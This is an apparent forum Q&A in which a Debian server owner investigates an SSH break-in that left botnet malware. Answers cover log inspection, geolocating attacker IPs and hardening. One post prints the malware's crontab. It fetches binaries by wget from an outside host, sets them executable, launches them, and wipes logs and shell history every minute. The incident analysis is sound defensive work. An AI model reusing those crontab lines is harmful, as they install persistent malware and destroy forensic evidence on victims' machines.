It has come to my attention that a server of mine has been hacked and infected with a known Chinese botnet.
It was a prototype/testing virtual machine with its own static IP(US address) so no harm was caused(just took me a while to figure it out).
Now I would like to know what IP/s was used for the intrusion to know if the attack originated from china.
Is there a way to view a history of received connections on ssh on the server?
Edit: The system is Linux Debian 7
Look at the output of the last command and anything with an IP address or hostname instead of a blank space came in over the network. If sshd is the only way of doing that on this system, then there you go.
Alternatively (if this is Linux), you can check /var/log/secure (on RH-based distros) or /var/log/auth.log (on Debian-based distros) where sshd will usually keep track of connections made even if they don't result in successful logins (which hits utmp/wtmp, which is what last will read from). Example:
Apr 3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr 3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2
IIRC Solaris's sshd (which may not necessarily be OpenSSH's sshd) will log this information to /var/adm/messages
EDIT:
@derobert makes an excellent point. It's important to remember that on any system, if your superuser account is compromised, then all bets are off since log files such as /var/log/wtmp or /var/adm/messages can be modified by the attacker. This can be mitigated if you shove logs off-server to a secure location.
For example, at one shop I used to work at we had an "Audit Vault" machine that was secured so as to only receive the audit log files from the various servers in the data center. I would recommend having a similar setup in the future (since "I have a test machine" sounds like you're operating in a large-ish shop)
Is there a way to view a history of received connections on ssh on the server?
This should give you a list:
$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u
Then you can use geoiplookup from the geoip-bin package to go from hostname or IP-address to country.
sed skills are not that god. To do something more complex, use Python or an dedicated log parser. But you can try this: zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
Commented
Jun 6, 2015 at 19:01
To see only successful login attempts:
zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted'
zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted' covers both "Accepted password" and "Accepted publickey"
zgrep sshd /var/log/auth.log* | grep -F 'Accepted' | sed -re 's/.*from ([^ ]+).*/\1/' | sort -u
Commented
Oct 23, 2023 at 10:50
Well, as expected, and as @Joel Davis said, all logs were wiped, but there was one file that @Ramesh mentioned that has some attempts to access the root user but failed to enter the correct password a few times, then the disconnect for too many re-tries.
I ran a traceroute on three of the addresses and two are from China and the other is from Pakistan; these are the IPs:
221.120.224.179
116.10.191.218
61.174.51.221
More info about the botnet that was injected into the server after it was compromised:
Hackers edit crontab to execute 7 executables that will, every x amount of time, use up all the CPU, max the servers network output, then simply die. Also they add the readme to crontab 100 times to hide the added lines, so when you do crontab -l you will be spammed by the readme with hidden lines. To circumvent this, I used crontab -l | grep -v '^#' and here is the output of that command:
*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
As you can see, all the log files are cleared, this is why I was not able to retrieve a lot of information.
It brought down the entire server (all the VMs) causing timeouts on the sites and on proxmox. Here is a graph (the spikes denote the botnet actively DDoS'ing and notice the network out):
As a result I will be adding the entire range of Chinese IP addresses to a firewall to block all the connections (I don't have any Chinese users so I don't care), I will also disallow remote root logins and use long complex passwords. I will also most likely change the ssh port and use private ssh keys as well.
From this answer, I see the below information.
Talking about SSH servers, I will give you command line solutions.
Track user logins and logouts. That's easy, the file /var/log/auth.log should have this information.
Track activity of those users: If they are somewhat innocent, you can check the file .bash_history in their home directory. You will see a list of the commands that they executed. The problem is of course that they can delete or edit this file.
Prevent users from deleting logs: Users shouldn't be able to touch auth.log. In order to stop them from playing with bash_history you need to do a couple of tricks.
What if the user manages to obtain root access? : You're screwed. Unless he makes a mistake he will be able to hide all his footsteps.
Also, from this answer, we can see the IP address of a client using the SSH_CLIENT variable.
Also from this answer, I see that ssh history could be stored in these files.
In addition to /var/log/lastlog, there are 3 files in /var/run and /var/log: utmp, wtmp and btmp, which hold info about current logins (and additional info), historical and failed logins. See wiki for detailed description. You can't edit the files with normal editors, but could erase them.
Simplest command to get the last 10 users logged in to the machine is last|head.
To get all the users simply use last command
This machine has been compromised. This means any data on it, historical or current, can no longer be trusted.
In short, the answer is no. You cannot be sure you have found the originating address from any log file recorded on this machine.
Wipe and reinstall. And patch.
for debian the test search is worded slightly different
zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
Sending access attempts (successful and unsuccessful) off to a remote syslog server would be the best approach. An attacker could SSH in and disable logging and/or delete audit files almost instantly.
If you're using auditd, there are plugins for sending data to a remote syslog server. For example, the audisp plugin will forward audit log data to a remote syslog server: https://linux.die.net/man/8/audisp-remote).
Alternatively, SSHLog (https://github.com/sshlog/agent/) is a new project that sends all logins, failures, and commands executed to a remote syslog server. This includes client IP addresses which can be geolocated to identify location.
Using one of these approaches, even if the attacker gains access and disables your logging, you'll still receive a log entry on your uncompromised remote syslog server.
